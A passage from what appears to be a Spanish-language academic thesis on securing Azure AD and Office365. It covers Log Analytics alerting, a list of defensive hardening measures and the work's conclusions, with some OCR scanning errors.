stico especifica una lista de categorias de registros o métricas de la plataforma que quiere

do. Se cobrarén los

de un origen de recurso, asi como uno o varios

uso normales para el destino. Mas informacic

est0s registros
Nombre de configuracion de diagnéstico  Auditiog-to-analytics

Registros Detalles del destino

Categorias

B Auditiogs

B Enviar al drea de trabajo de Log Analytics

Suscripcién

= Sqn‘knLugx Pago por uso

= Area de trabajo de Log Analytics
] NoninteractiveUserSigninLogs ———————————
= LogsAlertasTest ( uksouth )

Ilustracion 62: Configuracion Diagndstico AzureAD

Una vez hecho esto ya podriamos configurar las reglas de alertas sobre el log analytic de
Azure. Azure > Log Analytic > Alertas > Crear Nueva Regla de Alerta

Por ejemplo, uno de los casos de uso tipicos que es recomendable configurar una alera,
es tener controlado cuando un Global Admin del tenant hace login.
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4.5 Medidas de seguridad Azure AD

Para finalizar este apartado del trabajo, nos vamos a centrar en medidas de seguridad que
podemos ejecutar y son faciles de implementar desde el lado defensivo. Debemos de
entender que una medida por si sola no va a mitigar ningun ciberataque, sino que va a
afadir una complejidad al tener distintas barreras defensivas para que no se logre el
objetivo. Algunas de estas medidas las recomienda Microsoft. (Microsoft, 2023)

Reducir el numero de usuarios con privilegios Global Admin, la cifraidealesde 2 a
5 Global Admin.

Activar como obligatorio MultiFactor Authentication (MFA) para todos los usuarios
del tenant, administradores e invitados externos.

Usar contrasefas de mas de 24 caracteres para los usuarios Global Admin, es
decir, se premia a la longitud de la contrasefa. Al final, cuanto mayor compleja, y
larga sea la contrasefia mayor dificultad tendran los cibercriminales en robarla.

Usar maquinas muy bien bastionadas desde el punto de vista de seguridad, que
nos permita acceder al tenant desde un entorno seguro.

Evitar el uso de usuarios nominales de trabajo diario para acceder a los centros de
administracion, es decir, nuestro usuario con el que podemos usar MS Outlook,
MS Teams, no deberia de ser un usuario con privilegios sobre el tenant.

Usar el privilegio minimo (Privileged Identity Management) para los usuarios que
dispongan de un rol cualquiera de administracién del tenant, de este modo nos
aseguramos de que ningun usuario tiene mas privilegios que los necesarios en el
momento necesario. Este complemento se licencia aparte. (Microsoft, 2023)

Los usuarios que dispongan roles de administracidon que sean del tipo pure cloud
de esta manera al evitar que sean hibridos, eliminamos la posibilidad que, si una
cuenta del AD esta comprometida, consigan acceso al tenant.

Configurar dentro de Azure AD que cuando se produzca un cambio de contrasefa
por un administrador notificar a los demas administradores.
Azure AD > Usuarios > Restablecimiento de contrasefia > Reestablecer contrasena

Escoger una politica de contrasefias buenas para los usuarios y establecer un
diccionario de palabras prohibidas mediante Azure Password Protection. De este
modo si, por ejemplo, nuestra empresa se llama UOC, al incluir esta palabra
prohibira a los usuarios hacer uso de ella en cualquiera de sus formasy
nomenclaturas (u0c, 2024Uoc, etc.)

Azure AD > Seguridad > Métodos de Autenticacion > Proteccion con contrasena
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e Enelcasodedisponerde suscripciones en Azure, existe una politica que evita que
una suscripciéon pueda ser migrada a otro tenant, sin permiso del usuario.
Azure > Suscripciones > Administrar Directivas

e Revisar las tasas de login/failed nos puede ayudar a saber en qué aplicacion
estamos recibiendo mayor numero de ataques.
Entra Admin Center > Uso e Informacion > Actividad de la aplicacién Microsoft
Entra

e Revisary configurar los métodos de autenticacién disponibles.
Azure AD > Seguridad > Métodos de autenticacion > Politicas

e Configurar el bloqueo en el caso de abuso del MFAy alertado en caso de que se
produzca el fraude en el (MFA).
Azure AD > Autenticacidon Multifactor > Bloqueo de cuenta
Azure AD > Autenticacion Multifactor > Notificaciones

e Revisar que los usuarios no puedan registrar aplicaciones en Azure sin
consentimiento.
Azure AD > Usuarios > Configuracion Usuarios

e Encaso de que tengamos habilitado el portal de auto restablecimiento de
contrasefa para los usuarios, requerir otro método para renovar la contrasefa.
Azure AD > Reestablecer contrasena > Métodos de Autenticacion

e No permitir la creacién de grupo por parte de los usuarios.
Azure AD > Grupos > Configuracién > General

e Requerir MFA para unir equipos nuevos a Azure AD.
Azure AD > Dispositivos > Configuracién de dispositivo

e Revisary monitorizar de manera frecuente el Conditional Access para comprobar
gue las politicas que tenemos establecidas siguen cumpliendo con las politicas
que hemos establecido. Existen software de terceros gratuitos que nos ayudan a
evaluar posibles agujeros en funcidon de las politicas configuras como por ejemplo
MFA Sweep (dafthack, 2020)

e Restringir el acceso externoy la invitacidn de externos por parte de los usuarios
Azure AD > Usuarios > Configuracion usuario > Configuracion de colaboracion
externa
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5.Conclusiones y trabajos futuros

A lo largo de este trabajo se han abordado y descrito conceptos clave relacionados con el
estado actual de la nube publica. Se han identificado como los servicios de Office365y su
proveedor de identidades Azure AD. Se ha podido comparar las diferencias entre el
entorno on-premisey la nube.

Asimismo, hemos profundizado cual es la cadena de ataque contra Azure AD u Office365
y hemos podido ver la importancia de entender el concepto de identidad, no solamente
como unas credenciales para entrar a un sistema.

Como enfoque practico hemos podido analizar desde un punto de vista ofensivo de la
seguridad, como el sistema admite determinadas configuraciones que permite vulnerar la
informacién de una organizacion.

Con este punto de vista en el que hemos entendido como funciona Azure AD, entender
sus debilidades, el principal objetivo del trabajo era ver cémo podemos securizar un
entorno de Azure AD y Office365, pero analizandolo desde los dos lados, es decir, si solo
nos situamos en el lado defensivo, perdemos de vista como atacan los cibercriminales,
que es una parte fundamental para saber cémo te debes defender de las amenazasy
saber mitigarlas.

Durante este trabajo se han analizado diversas herramientas tanto defensivas como
ofensivas que nos han proporcionado un plus en cuanto a lo que Microsoft nos muestra
en el cuadro de mando. Existen infinidad de herramientas disponibles en repositorios para
analizar el estado de salud de nuestro tenant. Las que se han propuesto en este trabajo
han sido solo algunas muy focalizadas en los objetivos a conseguir.

Sin embargo, cabe recordar que cada organizacidon, empresa debe de hacerse un mapa de
riesgos, asociar un plan de tratamiento de estos riesgos que cuantifique el riesgo de
manera matematica, y que cada organizacion sea capaz de escoger su umbral de riesgo y
establecer las medidas necesarias para estar por debajo de este umbral. EL mero hecho
de usar una nube publica para usar servicios SaaS como Office365, en si brinda muchos
beneficios a una empresa, pero también trae consigo una serie de riesgos que se deben
analizar.

Taly como hemos podido ver tras la realizacion de este trabajo, existen multitud de
servicios tanto dentro de Office365 como dentro de Azure AD, que se deben protegery ser
muy constante en la monitorizacidn, de qué esta ocurriendo en la organizacién realizando
casos de uso, poniendo alertas cuando sean necesarias, estableciendo periodos de
auditoria sobre los activos mas importantes. Este trabajo no se ha centrado en analizar
los casos de uso de Azure AD, ya que las casuisticas son infinitas dependiendo de la
organizacion, es posible que lo que a una empresa le valga como recomendacién
determinadas opciones y que a otra no por otras caracteristicas.
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